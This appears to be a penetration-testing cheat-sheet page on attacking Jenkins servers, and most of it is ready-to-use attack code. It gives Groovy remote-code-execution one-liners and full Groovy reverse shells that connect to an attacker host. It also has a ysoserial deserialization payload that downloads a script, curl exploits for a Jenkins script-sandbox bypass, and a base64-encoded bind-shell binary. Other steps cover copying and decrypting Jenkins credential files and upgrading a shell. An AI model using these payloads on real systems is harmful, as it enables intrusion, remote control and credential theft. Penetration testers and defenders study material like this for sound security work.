Pentest Book
Search…
Jenkins
1
# Tools
2
# dump_builds, offline_decryption & password_spraying
3
# https://github.com/gquere/pwn_jenkins
4
# https://github.com/Accenture/jenkins-attack-framework
5
6
# URL's to check
7
JENKINSIP/PROJECT//securityRealm/user/admin
8
JENKINSIP/jenkins/script
9
10
# Groovy RCE
11
def process = "cmd /c whoami".execute();println "${process.text}";
12
13
# Groovy RevShell
14
String host="localhost";
15
int port=8044;
16
String cmd="cmd.exe";
17
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Copied!

Common bugs

Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

Use ysoserial to generate a payload. Then RCE using this script:
1
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
2
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Copied!

Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

Details here.
If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:
1
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Copied!

Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Original RCE vulnerability here, full exploit here.
Alternative RCE with Overall/Read and Job/Configure permissions here.

CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:
1
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Copied!
Execute arbitrary bash commands:
1
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
Copied!
If you don't immediately get a reverse shell you can debug by throwing an exception:
1
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Copied!

Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

This one will only work is a user has the 'Jobs/Configure' rights in the security matrix, so it's very specific.

Dumping builds to find cleartext secrets

Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
1
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
2
[-l] [-r] [-d] [-s] [-v]
3
url [url ...]
4
5
Dump all available info from Jenkins
6
7
positional arguments:
8
url
9
10
optional arguments:
11
-h, --help show this help message and exit
12
-u USER, --user USER
13
-p PASSWORD, --password PASSWORD
14
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
15
-l, --last Dump only the last build of each job
16
-r, --recover_from_failure
17
Recover from server failure, skip all existing
18
directories
19
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
20
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
21
each request (for legacy)
22
-v, --verbose Debug mode
Copied!

Password spraying

Files to copy after compromising

These files are needed to decrypt Jenkins secrets:
  • secrets/master.key
  • secrets/hudson.util.Secret
Such secrets can usually be found in:
  • credentials.xml
  • jobs/.../build.xml
Here's a regexp to find them:
1
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Copied!

Decrypt Jenkins secrets offline

Use this script to decrypt previously dumped secrets.
1
Usage:
2
jenkins_offline_decrypt.py <jenkins_base_path>
3
or:
4
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
5
or:
6
jenkins_offline_decrypt.py -i <path> (interactive mode)
Copied!

Groovy Scripts

Decrypt Jenkins secrets from Groovy

1
println(hudson.util.Secret.decrypt("{...}"))
Copied!

Command execution from Groovy

1
def proc = "id".execute();
2
def os = new StringBuffer();
3
proc.waitForProcessOutput(os, System.err);
4
println(os.toString());
Copied!
For multiline shell commands, use the following shell syntax trick (example includes bind shell):
1
def proc="sh -c \[email protected]|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();
Copied!
Automate it using this script.

Reverse shell from Groovy

1
String host="myip";
2
int port=1234;
3
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Copied!
I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:
1
python -c 'import pty; pty.spawn("/bin/bash")'
2
^Z bg
3
stty -a
4
echo $TERM
5
stty raw -echo
6
fg
7
export TERM=...
8
stty rows xx columns yy
Copied!
Last modified 6mo ago